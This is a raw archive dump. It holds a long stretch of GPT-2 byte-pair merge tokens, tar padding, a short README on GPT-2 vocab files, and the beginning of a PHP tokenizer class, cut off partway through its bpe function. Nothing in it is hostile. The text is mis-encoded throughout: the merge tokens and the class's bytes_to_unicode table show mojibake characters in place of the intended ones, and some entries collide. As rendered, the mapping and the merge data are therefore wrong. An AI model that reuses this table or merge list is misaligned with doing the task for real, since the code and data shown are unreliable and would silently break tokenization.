Ä Correction al 95 4 Ä t ul K id l uster Ä fam ilial Ä Sp it Ä Ep iscopal Specific ally Ä Vol cano run s q s Ä ve tted Ä cram med t rop here r Thank fully Ä per cussion Ä or anges Ä round up Ä 4 99 x ious Char acters Ä Zion ism Ä R ao ÃĽ ÃĽ W F Ä unintention al ONE Y Gr ab Com mercial Ä glut amate Ä McK enna ru ciating ning ton ih u Ch an Ä Sw ap Ä leaf lets Ä function ally er ous F arm Ä cal oric Ä Liter ally con cert Ä she nan Ä rep aid ey es Ä bas hing Ä G orge Ä collabor ations Ä un account itch ie Ä team work pp elin Ä pip ing Ä min ced Ä d iam ri eg Ä masc ara Ä suck er Ä Mo ons App s Ä Pe ck Ä per v Ä Fl oat o ley Ä N ish im ize Ä arom atic u in end ish ! / Ä B icycle Ä AS IC ile ged Ä Quad ro ios yn Ä lock out Ä W ink SP EC Attempt s Ä seed ed red o ias is Ä sn ag ãĥķ ãĤ© ãĤ ¶ Ä ground ing Ä relie ver Ä frivol ous Ä G ifts Ä F aces Es pecially Ä microbi ome im ag Ä Sch l Ä P les Ä Ble ach Ä Ir win Ä E aton Ä Disc iple Ä multipl ication Ä coer ced Ä 4 19 st h E vil B omb Ä ex orc Ä stag gered L ESS Ä inert ia Ä ED IT Ä go b Tr aditional Ä class y Lear y Ä P AGE yr s Ä trans porter Ä mat ured Ä hij ab Ä bi ome Where as Ä ex termination Ä T ues Ä T akeru Ä Aud rey er ial Ä Ad en aff les Ä narciss istic Ä B aird UT F I re Ä Con nie Ch amp Ä whis pering Ä H att D K Ä dis infect Ä deduct ed Ä part ake Ä down grade Ä Es ports Ä Contin uing Ä democr atically icro bial itt a Ä lim estone Ä exempt ed Ä Fren zy H erm 7 28 Ä fled gling Met a 765 61 69 3 % : w ake 5 26 Ä Dis cipline Ä virgin ity Ä Leg ions Ä Frank ie int ent Ä rest rooms Ä Rou ter da q Ä objection able âĨ ij w ark Ä Rah ul g ain activ ation abs olute Ä Access ed Ä 24 00 ogg les Ä second ly Ä DEF ENSE Ä post age wra pper sh arp 7 29 Ä commun icates Ä add on Ä Mil itia H ong Ä sl umped Ä JP EG Ä I car ad ish 68 1 Ä maj esty Ä Wolf gang Ä El astic u per Ä v iz Ä unconscious ly Ä ST D Ä S ass Ä flower ing Ä Hel ic Ä Dra per Ä Am ateur Ä man ure Ä dis ingen Ä Le i br ing 9 49 Ä inhib ited Ä head quartered Ä en igmatic �� � Ä red ress R H Ä ratt led Ä d iction l io Ä T BA Ä SN AP C alling Ä fasc ists Ä D ove iew icz 0 36 Ä co asts Ä R ect Ä ) ] L ot 6 29 Ä S EM Ä Peters en Ä Expl ain Ä Bo ards Ä Be zos Ä J ournals Ä 20 24 p arser Ä mist rust Ä gr ate Ä L ocked bo a S aint g aming Ä vow el in ately bl ow All ah Ä un matched Ä b ordering Ä Exp end n r Or acle rou ch Ä cont iguous ac us Ä dist raught 58 1 Ä anat omical O X ap ixel 8 33 Ä PL US Ä res usc Ä ab iding 57 3 Ä vac ancies Em ily Ä hyp othal Ä Wer ner Ä We e Ä DJ s 5 13 Ä witch craft Ä ac upuncture ent ary benef it Product s Ä P SP Ä MP G Ä J inn Ä J arrett Ä 4 45 Ä Im aging Ä P yth Fin ish Ä te x Ä juven iles Ä hero ism Ä doubt less Ä A ki Ä T end Ä Patri arch Ä bit ters Ä Tele communications it atively ag na Ä r g Ä S OLD Ä comp ulsion Ä N asa Ä Kath ryn Ä million aires Ä intrins ically Ä bolst ered time out fl o Ä tut or p our Stat ement Ä { * Ä Rud olph Ä Kimber ly rog ens adi q ] + Ä indign ation Ä fract uring Ä Re leases Ä Gr ain pro tein L ago Ä vac ations Ä boot ed Ä TH REE Ä H G oresc ence Ä t f Ä so ar iosyn cr Ä gl ances Ä Sp oon Ä J ury Ä Cow boy Ä creat ively Hig her Ä solic itor Ä haw k ac io 89 6 Ä superf lu Ä bombs hell ct ure Ä broker age Ä raid ing Ä f rench Ä ang led Trans action Ä Gen ocide u pe Ä Hait ian 57 2 ! : Ä unwitting ly iter ator sc roll Ä tall ied Ä bi omedical Ä C ARD Ä e uphem Ä brain storm a quin K o Mic helle Ä R unes Ä Ball istic ud ers Ä mod esty Ä iP ads Ä Ezek iel Y E Ä stars hip Ä power fully Ä per l Ä Sh ade Ä Qu art Ä E EG Ä fisher man OS ED Ä Typ ical df x Ä mes hes Ä et ched worth iness Ä topp led Ä 3 96 or ius We iss Ä my sql Ä Val halla Ù Ä´ le asing Ä rec omp rap nel S el 04 3 Ä der ailed Ä Gu ides IR T Ä de human Ä Britt any " )) Ä ex claim Ä b alk Ä 8 40 CLA IM int el L AB Ä pe gged Ä ast roph sm oking Ä rig ging Ä fix ation Ä cat apult ins ide Ä C ascade Ä Bolshe vik G aza Dep th Ä loud spe Ä almond s me yer l eness j en f resh Ä unbeat en Ä Squ id Ä Pres umably Tim er B W Ä ro sters Ä ell ipt Ä Har riet dat abase Ä Mut ual Ä Comm odore uk ed kn ife Ä COMM UN h ya Ä mel ts arch ives Ä rat ification Ä multip lying Ä inter oper Ä asc ert w ings ver ting Ä Scorp ion ay e Ä Ports mouth Ä M TA n it iaz ep Ä qu arantine Ä slides how Ä cent imeters Ä syn opsis Ä sp ate th irst Ä nom inating Ä Mel vin Pre view Ä thro b Ä gener ational Ä Rad ius rest ling put able aw ar N ECT Ä unlaw fully Ä Revel ations Wik ipedia sur v Ä eye ing ij n Ä F W Ä br unt Ä inter stellar Ä cl itor Ä Croat ian Ä Ch ic ev a Ä Dis app Ä A kin iner ies d ust Interest ed Ä gen esis Ä E ucl ö n p icking Ä mut ated Ä disappro ve Ä HD L Ä 6 25 ÃŒ ¶ c ancer Ä squ ats Ä le vers Disc uss = ] D ex Ä VIDE OS A UD Ä trans act Ä Kin ect Ä K uala Ä C yp 7 47 Ä sh attering Ä arsen ic Ä Int ake Ä Angel o Ä Qu it Ä K he Ä 18 93 M aker 0 29 Ä Pain ting Dis able 9 16 Ä anal ges Ä tact ile Ä prop hes Ä d iced Ä Travel s Ä He ader Ä Club s Ass istant Ä inc rim Ä d ips Ä cruc ifix Ä Shan ahan Ä Inter pret Ä 40 90 al ogy abb a Ä simul ac hus band S IM Ä recy cle uc er ed ged Ä re naissance Ä Bomb ay Cath olic Ä L INE Ä Cl othing re ports Ä pl aus Ä d ag Ä M ace Z I Ä intr uder Ä Veter inary g ru Ä sne aky Ä S ie Ä C innamon P OSE Ä cou rier Ä C NS Ä emanc ipation s it Ä play through Ä Fac ilities v irt Ä G auntlet Thom pson Ä unbeliev ably Param eters Ä st itching ign e Ä TH ESE Priv acy Ä shenan igans Ä vit ri Ä Val id 59 1 Ń · Ä Prot otype ink a SC P Ä T id è Ī old ed Ä individual ity Ä bark ing Ä m ars Ä W D Ä 8 20 Ä t ir Ä sl apping Ä disgr untled Ä Ang ola ri us Ä Torn ado Ä Th urs Ä capt cha Ä ang st Ä P og Ä Assass ins Ä Ad idas Ä joy ful Ä wh ining Emer gency Ä phosph orus Ä att rition oph on Ä Timber wolves Ä J ah Ä Br inging Ä W ad Ä En sure oh l Ä X ie omm el c mp Ä z ipper Ä rel at Ä Cor ridor m ilo T ING Av g Ä cro pped ] } Ä r aged Ä Lump ur Ä Guer rero our ke N ut Ä off sets og lu dr m Ä mort als lat able Ä dismiss ive ä¸ Ä« Ä thro ats Ä chips et Ä Spot light Catal og art ist G b Ä ch illy Ä st oked Ä 3 74 W ard L atin Ä f iasco Ä ble ach Ä b rav Enh anced Ä in oc Ä Fior ina _ > Ä le ukemia Ä el uc Ä announ cer Ä Lith uan Ä Arm ageddon Ã¥ Ä© Len in Ä R uk Ä pe pp Ä Rom antic Ä P IT Ä Inter stellar Ä At kinson R aid J s Go al C ourse Ä van ishing es ley Ä R ounds Els a 59 3 Ä redund ancy Ä ST AND Ä prop hetic Ä habit able ry u Ä faint ly M ODE Ä fl anked IR C Aw esome Ä sp urious Ä Z ah Ä MS G Ä sh ading Ä motiv ational Ä Sant ana Ä S PR Ä exc ruciating om ial Ä M iko Ä Le opard A byss Ä [ | d irty Ä bath s Ä dem oral and re P B Ä un ification Ä sac rament Ä [ & Ä pric eless Ä gel atin Ä eman ating Ä All aah 98 6 Ä out burst Ä er as Ä X VI Ä SP I O tt Ä Laz arus PL IED F lying blog s W isconsin R aven Ä reb ate Ä creep s Ä Sp an Ä Pain ter Ä Kir a Ä Am os Ä Cor vette Cons umer Ä Rec over ck i Ä pes ky Ä In vention Compan ies Ä challeng ers ad emic Ä Ukrain ians Ä Neuro log Ä Fors aken Ä ent rants Ä emb attled Ä def unct Ä Glac ier Ä po isons Ä H orses m akes Ä D irt Ä 4 23 hh h Ä Trans formation QUI RE ................ .. Ä trave ller Ä Se xy Ä K ern ip olar Ä ransom ware oooooooo oooooooo E c rub y Prof essional Ä Out break arg ument G rey Ä Fif a Ä CH O Ä FOR M Ä Am trak - [ Ä cr adle Ä antioxid ants ãģ®å ® 7 36 Ä NAS L Ä Contribut ions Ind iana Ä ST EP C SS Ä sal ient Ä all ocations yr ights Ä m ashed Ä Cut ter Sex ual Ä p ounded Ä fan base Ä c asc Ä Trans parency Ä analy tic Ä Summon er × Å€ Ä AD C det ail Ä van quished Ä cr abs ar ie Dest roy Ä S ack Ä trans istor Al abama Ä K oen Ä Fisher ies c one Ä annex ed Ä M GM es a Ä f aked Ä Cong ratulations Ä hind ered Ä correction al Ä I TV lee ve Ä in appropriately lic ks Ä tresp ass Ä p aws Ä negoti ator Ä Christ ensen lim its Ä Dian ne Ä eleg ance Ä Contract s an ke Ob j Ä vigil ance Ä cast les Ä N AD Ä Hol o Ä emph atically Ä Tit us Ä Serv ing Ä Rich ie Ä P igs 5 68 Ä anim osity Ä Att ributes Ä U riel M Q my ra Ä Applic ant Ä psychiat rists Ä V ij Ä Ab by ag ree P ush Ä k Wh hib a Ä inc ite Ä We asley Ä Tax i minist ic hy per Ä F arn Ä 6 01 Ä Nation wide F ake 95 2 Ä ma ize Ä interact ed Ä transition ed Ä paras itic Ä harm onic Ä dec aying Ä bas eless ns ics Ä trans pired Ä abund antly Ä Fore nsic Ä tread mill Ä J av ab and Ä ssh d Ä front man Ä Jak arta oll er dro ps Ä SERV ICES rompt u oph ical h ospital bled on 6 45 Ä mid range Ä EV ENT cul ated raw led Ä per ched Ä over board Ä Pe el Ä P wr Ä Car th Ä COM PLE co e sh all Ä deter rence M ETHOD Ä Abs ent M EN Ä s ill Ä LE VEL Y ork Ä sin ners Ä OP EC Ä N ur Ä Design s se lection Ä unw orthy CH A Ä streng thens 88 3 ed ly Ä slic ing Ä mal nutrition Ä film making Ä Pol k ur ated Ä 4 21 bre akers !' " Ä wet lands Ä Disc rimination Ä allow able Ä ste ered Ä Sic ily S AM Ä must ache Ä m ids Ä cl ipped Ä circ ulate Ä br ittle Ä Build ings ra ised Ä Round up Ä wealth ier Ä overw rite Ä over powered Ä Gerr ard s ites PD ATED Ä acute ly Ä Gam ble Ä p im Ä K us Typ ically De ploy Ä Moroc can p otion com be Ä vigil ante Ä 36 3 St ew Ä B agg Ä res ided Ä Sp o Ä rem nant Ä empt iness br ainer Ä out patient pri ority Ä le ptin Ä Pay ton Ä Gle aming Ä S hed Ä Pol o Ä Mormon ism rest ricted arl ane w x Ä creat ine Ä An on Ä ST UD Ä J UL Ä T ee 5 28 08 9 Ä hat ched Dis patch Ä Compos ite Ä 45 1 p uff Ä X COM Ä Or n Ä TH ANK END ED Ä Ashe ville Ġà ľ Ä man go Ä S lightly world ly Ä W ander Ä Exp and Ä Ch r M ist Ä orthodox y Ä UN ESCO reg ate Else where k ie ir led Ä topp le Ä adopt ive Ä Leg s d ress Ä S agan b are Ä Gl ou Cr unch Ä help ers Ä chron ically Ä H uma 1 0000 Ä accommod ating äº Ķ Ä wrink les Ä dod ged four th Ä pre con Ä compress or Ä K are Ä ev ict Ä War wick im ar Ä modern ization Ä band wagon Ä ref uted Ä net ted Ä Na ples Ä Gen ie per ors Ä field ed Ä de re Ä Par ables le es Ä tr out asp ers Ä n ihil Ä happ iest Ä flo ppy Ä Lo ft Ä He ard Ä un ison Ä l ug Ä Red mond class ic Supp orters SH IP G MT Ä fue lled ç IJ Ä d d Ä Emin em Ä 18 97 NY SE Ä secret aries Ä F IA Ä Canaver al F avorite Ä p omp Ä detain ee ers hip aim on i our Ä A pex Ä plant ations am ia ac ion R ust Ä tow ed Ä Tru ly 5 77 Ä shel tered r ider W o Ä l air Ä Int elligent impro ve m atically Ä et iquette ad ra all o Ä Jun o any thing Ä Stru ggle Ä Pred ict Ä Gr imes Ä AMER ICA ct x Ä Sit uation W OOD Ä sol uble me ier Ä intoler able ang ering Ä un interrupted Ä tool tip Ä interrog ated Ä gun ned Ä Sne ak æŃ ¦ Ä t ether Ä cr umble L ens Ä clust ered Ä Sy l Ä Has an Ä dystop ian w ana Ä joy stick Ä Th ib amm u Tom orrow 5 46 Ä overc ame Ä minim ized cept or Run ner ENG TH Ä Brend a Ä Achieve ments Ä tor ches Ä rapp ort Ä Investig ator Ä Hand ling rel ation g rey 8 15 Ä k cal Ä Comm ands d q Ä cur ls Ä be arer Ä cyn icism it ri Ä Use ful B ee D CS Ä ab ras P ract BIL ITIES 7 12 Ä debug ger Ä debt or Ä L ia Ä K ers Ä exacerb ate Ä St acy Ä B land Ä Sc enes Ä branch ing âĸĪâĸĪâĸĪâĸĪ âĸĪâĸĪâĸĪâĸĪ ape ake Ä s alsa Ä mish and Ä Kon ami Ä N ib Ä anecd ote Ä agree able à ī Ä Nath aniel Ä He isman Ä B eware Ä 18 86 spect ive 69 1 5 22 Ä inhib its Ä has hing Ä 18 89 å° Ĩ v ich P ure Ä solid ly Ä aspir in im aru Ä street car Ä U CS Ä J udd Ä flash backs p ins Ä 14 40 Ä UN HCR Ä Sym ptoms T IT 5 38 F ra % ); Ä o oz Ä cur few Ä cal med Ä particip ates Te X Ä nons ensical Ä full back Ä De L mon key h ari Ä metabol ites Ä loot ed Ä AL WAYS Ä B CC L t oc het B one Ä veto ed Ä g cc Ä CL ICK Ä 18 88 s af Ä stiff ness Ä low ly Ä Ge h vers on ors et Ä un foreseen Ä an esthesia Ä Opt ical Ä recon structed Ä T up sh ows NEW S Ä Newsp aper Ä A SA ter a N umbers Ä inexpl icable × ij Ä hard ness unt arily Ä A cer grad ient ARD IS Ä wood land Ä metaph ors Ä Wem bley Ä Pa vel phil is Ä re writing Ä percept ual Ä 10 70 worm s Ä Down s Ä unsur prisingly Ä tag ging fl ame Ä lit res Ä boun ces Ä B abe sh ut Ä overd oses Ä She ila Ä Ch au Ä Bl ess Capt ure Ä Sign ificant Ä Sc ion Ä 38 9 Ä Mc H Ä Titan ium Ä Me al amed a ag ents agg ressive B illy 76 3 Ä S aying DER R it one Coll ins B ound Ä bol ted Ä DM CA 95 3 Ä un iqueness Ä ep igen un ci ant am Ä reck oning ch airs OG R Ä Sen egal Ä 18 62 re levant Ġ ¯ Ä pharm acies Ä G eral v ier Y an OR PG Ä rab id b ending Ä UN ITED Ä 4 65 As sembly Ä we ep Ä be hest Ä Mother s Ä J ace h id Ä wh irlwind Ä UN IVERS Ä ut opian Ä kidn ap Ph ilipp K in 89 3 Ä livest ream Ä M ISS Ä sub versive Ä Techn iques Ä JUST ICE Ä B ASE Ä 38 7 Ä assail ants Ä Hard core Ä sprink led Ä P se é ļ print ed Ä H au OR GE Ä T OUR Ä l aced Ä it ch G iving Ä port ed 78 1 //////////////// //////////////// bre eding Ä log ger Ä H OL inn ie First ly Ä embry onic Ä deleg ated p ai O IL Ä centr ally Ä R x Ä Sc outing D utch Ä he reditary Ä Cru iser s at 5 29 Ä Mar riott other mal Ä prohib itions E arn Ä St ab Ä Colleg es Ä Bel ief st retched Ä L H Ä Entity Item C IA Ä un rem Ä laure ate Ä denomin ations sum mary h ler S pect Ä K laus Ä Be ans Ä ins ur Ä PA X Ä field er Ä V et Ä Sp arrow z ie Ä S Q Ä Mond ays Ä Off line Ä Ler ner Ä Ext ensions Ire land Ä patron age Ä contrast ed Ä Man ia h irt Mos cow Ä condem ns Ä An ge Ä comp osing Ä Pe pe Ä P addock Ä heter ogeneity Ä ide ologically Ä f ishes Ä cur sing Ä R utherford Ä Flo ating Ä Am elia Te a Syn opsis Ä stun ts Ä be ad Ä stock ing Ä M ILL ob ook mass ive \ < Ä h ump Ä Pref erences Engine Debug ge ist Ä Niet o ome ver ish y eval uate col onial Altern ative Ä Go Pro Ä V ortex Ä NET WORK ans ky Sec ure Ä Th rust Sn ake Ä parcel s Ä sam urai Ä actress es N ap M F ifer ation Be er 5 23 Ä I ly oint ment P ing Ä stri ped Ä Mell on oss ession Ä neut ron end ium Ä a ph Ä Flav oring Ä 38 3 Ä respons iveness Ä J indal Ä Hitch cock Den ver Ä DRAG ON sm anship Ä Du pl Ä s ly Ä web cam Ä Tw ain Ä Dar ling ili ate cons umer D IT Ä names ake Ä un orthodox Ä fun er Ä PL oS Ä CONTR OL ozy g ogl obin F ACE ER G Ä D ia Ä F iesta ce le 0 34 Ä encl ave âĸ¬ âĸ¬ on ement al ist M and Ä home grown Ä F ancy Ä concept ions Ä Cont ains ure en Ä reiter ate Ä me ager Ä install ments Sp awn 6 27 Ä phot oc Ä Cab rera Ä Ros enthal Ä Lans ing is ner Ä invest s Ä UFO s EX P Hard ware Ä tr agically Ä conced es ie ft ch am bor gh Ä Sch r Ä Mel anie Ä H oy Ä visit ation Ä id iosyncr Ä fract ions Ä fore skin ob os Ä po aching Ä VI EW Ä stimul ates Ä G ork can on M IC Ä Nem esis Ä Ind ra Ä DM V Ä 5 29 Ä inspect ing Ä grand ma Ä W hedon Ä Sh ant Ä P urg ik an Ä T eg Ä CL R z ac Vict oria Ä Ver ify ion ics Ä part ying Ä M ou col our Ä testim onies l ations Ä press uring hi ro ac ers Ä f id ang ler Ä CS I Ä here after Ä diss idents report ing iph any che v Ä sol itude Ä l obe Ä ind is Ä cred ential re cent ad ult Ä Nir vana Ä Franch ise L ayer H yp Ä Berks hire Ä will s t if Ä tot em Ä Jud ah rep air Inst ant 5 48 Ä emb assies Ä bott leneck Ä b ount Ä typ ew Ä Al vin j ing im ilar R ush Ä br im Ä HEL P A im ] ' Ä pass ively Ä bound ed Ä R ated Ä criminal ity Ä biom ark Ä disp atcher Ä Tow ards Ä + ++ right eous f rog Ä P anc C arter 0 32 æ© Å Ä ult raviolet Ä Lic ensed Ä T ata Ä Bl essing Ä G AM Ä chem ically Ä Se af Ä RE LE Ä Merc enary capital ist Ä form ulations Ä ann ihilation Ä Ver b Ä Ar gon Ä un loaded Ä morp hed Ä conqu ering back er I ELD Ä theft s Ä front runner Ä Roy ale Ä Fund amental el ight C hip necess ary ay n Ä Sl ip Ä 4 48 cern ed P ause Ä shock ingly Ä AB V Ä comp osure 7 33 Ä Motors port ah ime Mur ray M ach Ä gr ids Ä deb ian Ä further more Ä dexter ity Ä Collect ions os lov il age b j Ä Mont eneg Ä strut Connector Ä massac res Ä brief s fet ched uv ian ol ition Fail ure emon ic Ä fl ared Ä claim ant Ä c ures Ä give aways Ä Subst ance al ions Ä cr inge Ä K ul Ä arist ocracy Ä Ul ster ol ated h ousing Ä M IS Ä gl ared Ä Wil helm ne eds lam bda build ers Ä V IS Ä radi ator Ä Ghost busters Ä 4 36 act ual Ä her ds ç a watch ing Ä counter ing Ch arge Ä char red Ä war heads Ä iod ine Ä M acy 04 1 Ä depart ures Ä S ins Ä dy ed Ä Concept s g ado 7 13 Ä quot ations Ä g ist Ä Christ y Ä ant igen Ä Hem p Ä D rawn Ä B arg ez vous Ä p aternity Ä ar du Ä Anch orage Ä R ik Ä over loaded Ä Us ername Ä Tam my Ä N au Ä Cell ular Ä w aning Ä rod ent Ä Wor cester il ts Ä T ad Ä dwell ings Ä bull ish 4 31 Ä retali ate Ä mig raine Ä Chev ron CH ECK Ä don key c rim SP A Ä An alog Ä marqu ee Ä Ha as B ir Ä GD DR Ä Download s Ä will power Ä For th Ä Record ed Ä imp ossibility Ä Log ged Ä Fr anks Ä R att in itions Ä clean ers Ä sore ly Ä flick ering Ä Ex amination c atching allow een Ms g Ä dun no F a Ä dys ph c razy .' '. Ä main line Ä c s Ä p tr Ä W ally ig un 95 1 Ä Big foot f ights Ä retrie ving J r Ä dupl ication Ä Expl an Ä rel ational Ä qu aint Ä bisc uits Ä ad o Ä sh udder Ä antid ote blood ed ks h Ä sa uces Ä rein vest Ä dispens ary Ä D iver Ä 9 000 stud ent Ä in separ esc ap Ä todd lers Ä GP IO Ä Ass ignment head ers Ä lack luster Ä ab ack 95 6 Ä tool bar 7 45 Ä o ust Ä contempl ation Ä PRES IDENT Ä 4 58 ==== == Ä guarantee ing Ä He ist Ä Cann es Ä» ½ Ä collabor ator Ä Am p Ä g ou Ä SH ALL st ories 78 3 Ä mobil ized Ä bro od Ä L U ĠðŠij Ä ref in Ä Anthrop ology v ind ill i Ä warrant ies Ä B abel Ä sw ath Ä c aches Ä antagon ists art ifacts Ä hot ly Ä St arts Ä G ö z ag !! !!! Ä sc ourge Ä cons piring ru its re verse Ä She en Ä Jes uit Ä Giov anni ad ies Ä butt ocks ear cher ac an Ä volley ball Ä shroud ed Ä score board b ats Ä I PM Ä ass es Ä de regulation Ä Te legram Ä Reb oot Ä 7 000 Ä Can ary Ä k ernels Ä Franç ois Ä D uff Ä P on Ä Le ica Ä Gar min Ä or phans Ä Claud ia Ä cal endars Ä Le ilan ent o R ocket Ä br unch Ä Haw king ain ers Ä sens ibilities Ä k W Ä K and Ä re claimed Ä interesting ly × © rom y J M Ä Enhance ment b ush Sk ip Ä rapp ers Ä g azing p edia ath lon Rev olution Ä sn ipers Ä re verted Ä conglomer ate T erry 79 4 Ä hars her Ä des olate Ä Hit man Comm ission Ä ( / âĢ¦ ." Com par Ä ampl ification om inated Ä reg ress Ä Coll ider Ä inform ants Ä g azed ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/tokenizer/pretrained_vocab_files/README.md������������������������������������������������������0000644�����������������00000000432�14757771437�0015344 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������# Pretrained vocab files for GPT-2/3 This directory contains the pretrained vocab files for GPT-2. Files are from [huggingface/transformers](https://github.com/huggingface/transformers/blob/main/src/transformers/models/gpt2/tokenization_gpt2.py#L39) and use the 'gpt2-xl' version. ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/tokenizer/Gpt3Tokenizer.php���������������������������������������������������������������������0000644�����������������00000035561�14757771437�0012630 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Gioni06\Gpt3Tokenizer; defined('ABSPATH') or die(); class Gpt3Tokenizer { const PAT_REGEX = "/'s|'t|'re|'ve|'m|'ll|'d| ?[[:alpha:]]+| ?[[:digit:]]+| ?[^[:space:]\pL\pN]+|\s+(?!\S)|\s+/u"; private mixed $vocab; private array $bpeMerges; private array $bpe_ranks; private bool $apcuAvailable; private array $cache = []; private bool $useCache; public function __construct(Gpt3TokenizerConfig $config) { $vocabPath = $config->getConfig()['vocabPath']; $vocab = new Vocab($vocabPath); $this->vocab = $vocab->data(); // Free memory that is no longer needed unset($vocab); $mergesPath = $config->getConfig()['mergesPath']; $merges = new Merges($mergesPath); $this->bpeMerges = $merges->bpeMerges(); $this->bpe_ranks = array_combine(Gpt3Tokenizer::zipBpe($this->bpeMerges), range(0, count($this->bpeMerges) - 1)); // Free memory that is no longer needed unset($this->bpeMerges); unset($merges); $this->apcuAvailable = function_exists('apcu_enabled') && apcu_enabled(); $this->useCache = $config->getConfig()['useCache']; } private function cacheSet($key, $val): void { if ($this->apcuAvailable) { /** @noinspection PhpComposerExtensionStubsInspection */ apcu_store($key, $val); } else { $this->cache[$key] = $val; } } private function cacheGet($key): mixed { if ($this->apcuAvailable) { /** @noinspection PhpComposerExtensionStubsInspection */ return apcu_fetch($key); } else { return $this->cache[$key] ?? null; } } private function cacheExists($key): array|bool { if ($this->apcuAvailable) { /** @noinspection PhpComposerExtensionStubsInspection */ return apcu_exists($key); } else { return isset($this->cache[$key]); } } public static function bytes_to_unicode(): array { // Bytes-to-Unicode is a list of utf-8 byte and a corresponding unicode string. // Using this static list is much faster than decoding the utf-8 everytime a character is encountered. // Also, it produces the exact output as tokenizer from OpenAI uses. https://beta.openai.com/tokenizer return [ 0 => 'Ä€', 1 => 'Ä', 2 => 'Ä‚', 3 => 'ă', 4 => 'Ä„', 5 => 'Ä…', 6 => 'Ć', 7 => 'ć', 8 => 'Ĉ', 9 => 'ĉ', 10 => 'ÄŠ', 11 => 'Ä‹', 12 => 'ÄŒ', 13 => 'Ä', 14 => 'ÄŽ', 15 => 'Ä', 16 => 'Ä', 17 => 'Ä‘', 18 => 'Ä’', 19 => 'Ä“', 20 => 'Ä”', 21 => 'Ä•', 22 => 'Ä–', 23 => 'Ä—', 24 => 'Ę', 25 => 'Ä™', 26 => 'Äš', 27 => 'Ä›', 28 => 'Äœ', 29 => 'Ä', 30 => 'Äž', 31 => 'ÄŸ', 32 => 'Ä ', 33 => '!', 34 => '"', 35 => '#', 36 => '$', 37 => '%', 38 => '&', 39 => '\'', 40 => '(', 41 => ')', 42 => '*', 43 => '+', 44 => ',', 45 => '-', 46 => '.', 47 => '/', 48 => '0', 49 => '1', 50 => '2', 51 => '3', 52 => '4', 53 => '5', 54 => '6', 55 => '7', 56 => '8', 57 => '9', 58 => ':', 59 => ';', 60 => '<', 61 => '=', 62 => '>', 63 => '?', 64 => '@', 65 => 'A', 66 => 'B', 67 => 'C', 68 => 'D', 69 => 'E', 70 => 'F', 71 => 'G', 72 => 'H', 73 => 'I', 74 => 'J', 75 => 'K', 76 => 'L', 77 => 'M', 78 => 'N', 79 => 'O', 80 => 'P', 81 => 'Q', 82 => 'R', 83 => 'S', 84 => 'T', 85 => 'U', 86 => 'V', 87 => 'W', 88 => 'X', 89 => 'Y', 90 => 'Z', 91 => '[', 92 => '\\', 93 => ']', 94 => '^', 95 => '_', 96 => '`', 97 => 'a', 98 => 'b', 99 => 'c', 100 => 'd', 101 => 'e', 102 => 'f', 103 => 'g', 104 => 'h', 105 => 'i', 106 => 'j', 107 => 'k', 108 => 'l', 109 => 'm', 110 => 'n', 111 => 'o', 112 => 'p', 113 => 'q', 114 => 'r', 115 => 's', 116 => 't', 117 => 'u', 118 => 'v', 119 => 'w', 120 => 'x', 121 => 'y', 122 => 'z', 123 => '{', 124 => '|', 125 => '}', 126 => '~', 127 => 'Ä¡', 128 => 'Ä¢', 129 => 'Ä£', 130 => 'Ĥ', 131 => 'Ä¥', 132 => 'Ħ', 133 => 'ħ', 134 => 'Ĩ', 135 => 'Ä©', 136 => 'Ī', 137 => 'Ä«', 138 => 'Ĭ', 139 => 'Ä­', 140 => 'Ä®', 141 => 'į', 142 => 'Ä°', 143 => 'ı', 144 => 'IJ', 145 => 'ij', 146 => 'Ä´', 147 => 'ĵ', 148 => 'Ķ', 149 => 'Ä·', 150 => 'ĸ', 151 => 'Ĺ', 152 => 'ĺ', 153 => 'Ä»', 154 => 'ļ', 155 => 'Ľ', 156 => 'ľ', 157 => 'Ä¿', 158 => 'Å€', 159 => 'Å', 160 => 'Å‚', 161 => '¡', 162 => '¢', 163 => '£', 164 => '¤', 165 => 'Â¥', 166 => '¦', 167 => '§', 168 => '¨', 169 => '©', 170 => 'ª', 171 => '«', 172 => '¬', 173 => 'Ń', 174 => '®', 175 => '¯', 176 => '°', 177 => '±', 178 => '²', 179 => '³', 180 => '´', 181 => 'µ', 182 => '¶', 183 => '·', 184 => '¸', 185 => '¹', 186 => 'º', 187 => '»', 188 => '¼', 189 => '½', 190 => '¾', 191 => '¿', 192 => 'À', 193 => 'Ã', 194 => 'Â', 195 => 'Ã', 196 => 'Ä', 197 => 'Ã…', 198 => 'Æ', 199 => 'Ç', 200 => 'È', 201 => 'É', 202 => 'Ê', 203 => 'Ë', 204 => 'ÃŒ', 205 => 'Ã', 206 => 'ÃŽ', 207 => 'Ã', 208 => 'Ã', 209 => 'Ñ', 210 => 'Ã’', 211 => 'Ó', 212 => 'Ô', 213 => 'Õ', 214 => 'Ö', 215 => '×', 216 => 'Ø', 217 => 'Ù', 218 => 'Ú', 219 => 'Û', 220 => 'Ãœ', 221 => 'Ã', 222 => 'Þ', 223 => 'ß', 224 => 'à', 225 => 'á', 226 => 'â', 227 => 'ã', 228 => 'ä', 229 => 'Ã¥', 230 => 'æ', 231 => 'ç', 232 => 'è', 233 => 'é', 234 => 'ê', 235 => 'ë', 236 => 'ì', 237 => 'í', 238 => 'î', 239 => 'ï', 240 => 'ð', 241 => 'ñ', 242 => 'ò', 243 => 'ó', 244 => 'ô', 245 => 'õ', 246 => 'ö', 247 => '÷', 248 => 'ø', 249 => 'ù', 250 => 'ú', 251 => 'û', 252 => 'ü', 253 => 'ý', 254 => 'þ', 255 => 'ÿ', ]; } public static function encodeStr(string $str): array { $bytes = str_split(bin2hex(mb_convert_encoding($str, 'UTF-8')), 2); return array_map(function($byte){ return hexdec($byte); },$bytes); } public static function decodeStr(array $codes): string { $bytes = array_map(function($code) { return chr($code); }, $codes); return implode($bytes); } public static function get_pairs($input_arr): array { $pairs = array(); for ($i = 0; $i < count($input_arr) - 1; $i++) { $pairs[] = array($input_arr[$i], $input_arr[$i + 1]); } // remove duplicates return array_unique($pairs, SORT_REGULAR); } public static function zipBpe(array $bpeMerges): array { $bpe = []; foreach ($bpeMerges as $merge) { $bpe[] = $merge[0] . ',' . $merge[1]; } return $bpe; } public function bpe(string $token): string { if($this->useCache 